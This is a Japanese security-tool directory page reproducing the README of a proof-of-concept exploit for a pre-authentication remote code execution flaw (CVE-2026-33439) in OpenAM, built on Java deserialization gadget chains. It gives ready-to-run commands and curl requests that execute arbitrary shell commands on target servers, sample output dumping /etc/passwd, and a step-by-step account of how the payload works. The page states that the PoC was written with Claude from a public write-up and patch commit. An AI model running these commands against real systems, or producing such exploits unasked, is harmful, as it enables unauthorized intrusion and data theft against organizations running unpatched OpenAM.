Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33439-PoC — OpenAMの事前認証RCE(CVE-2026-33439)用エクスプロイト。Javaデシリアライゼーションガジェットチェーンを使用してコマンドを実行し、出力をHTTPレスポンスに直接返します。 | Kitploit
ツール/GitHubGitHub/ibonok/cve-2026-33439-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

OpenAMの事前認証RCE(CVE-2026-33439)用エクスプロイト。Javaデシリアライゼーションガジェットチェーンを使用してコマンドを実行し、出力をHTTPレスポンスに直接返します。

リポジトリを見る
114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33439 — OpenAM 事前認証RCE(エコーモード)

コマンド出力がHTTPレスポンスに直接返されます — DNS外部送信やOOBは不要です。

逆シリアル化中にアクティブなJATO ThreadLocalのリクエスト/レスポンスへアクセスするため、com.iplanet.jato.RequestManager.getRequestContext() を使用します。従来のTomcatエコー手法(Thread.target / ThreadGroup.threads トラバーサル)が失敗するJava 21+で動作します。

前提条件

  • JDK 11+(実行時のトランスレットコンパイルに javac が必要)
  • クラスパスに click-nodeps-2.3.0.jar と xalan-2.7.x.jar を含むターゲットOpenAM

脆弱性が確認されたエンドポイント

エンドポイントエコー出力
/sso/ui/PWResetUserValidationHTTP 200、ボディにコマンド出力
/sso/ui/PWResetQuestionHTTP 200、ボディにコマンド出力
/sso/ui/PWResetSuccessHTTP 200、ボディにコマンド出力

テスト済みだがエコー出力なし(逆シリアル化は依然としてトリガーされる):

  • /sso/ui/PWResetInvalidURL — エラーページが返される
  • /sso/ui/PWResetUncaughtException — エラーページが返される

ビルド

root@kitploit:~
./build.sh

使用方法

JARは --add-opens JVMフラグを自動的に追加します — 手動で指定する必要はありません。

root@kitploit:~
# オールインワン: ペイロード生成 + 送信 + 出力表示(Burpを経由してプロキシ)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# Burpプロキシなし
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# 再利用可能なペイロードを生成(コマンドはリクエスト時に 'cmd' ヘッダーから取得)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

確認済みの結果(2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

動作の仕組み

  1. PriorityQueue 逆シリアル化ペイロードを生成(Click1 + Xalan TemplatesImpl ガジェットチェーン)
  2. トランスレットのバイトコードが RequestManager.getRequestContext() を呼び出し、アクティブなJATOリクエスト/レスポンスを取得
  3. cmd HTTPヘッダーを読み取り、sh -c <cmd> を実行し、stdout+stderrを response.getOutputStream() に書き込む
  4. ペイロードはOpenAM形式のBase64としてエンコード(\x00 プレフィックス + URLセーフBase64、パディングなし)
  5. /sso/ui/PWResetUserValidation?jato.clientSession=<payload> に送信(認証不要)

ディレクトリ構造

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # エクスプロイトJAR
  build.sh                   # ビルドスクリプト
  MANIFEST.MF                # JARマニフェスト
  README.md                  # このファイル
  lib/                       # 依存関係(JARの隣に置く必要あり)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # ソースコード

修正

OpenAMコミット 014007c63cacc834cc795a89fac0e611aebc4a32 でパッチ適用済み — SessionEncodeURL.readSessionID() の ObjectInputStream にクラスフィルターを追加。

その他:

PoCはClaudeを使用して作成されました。プロンプトは、ライトアップ(https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce)とGitコミット(https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)でした。

ツールをダウンロード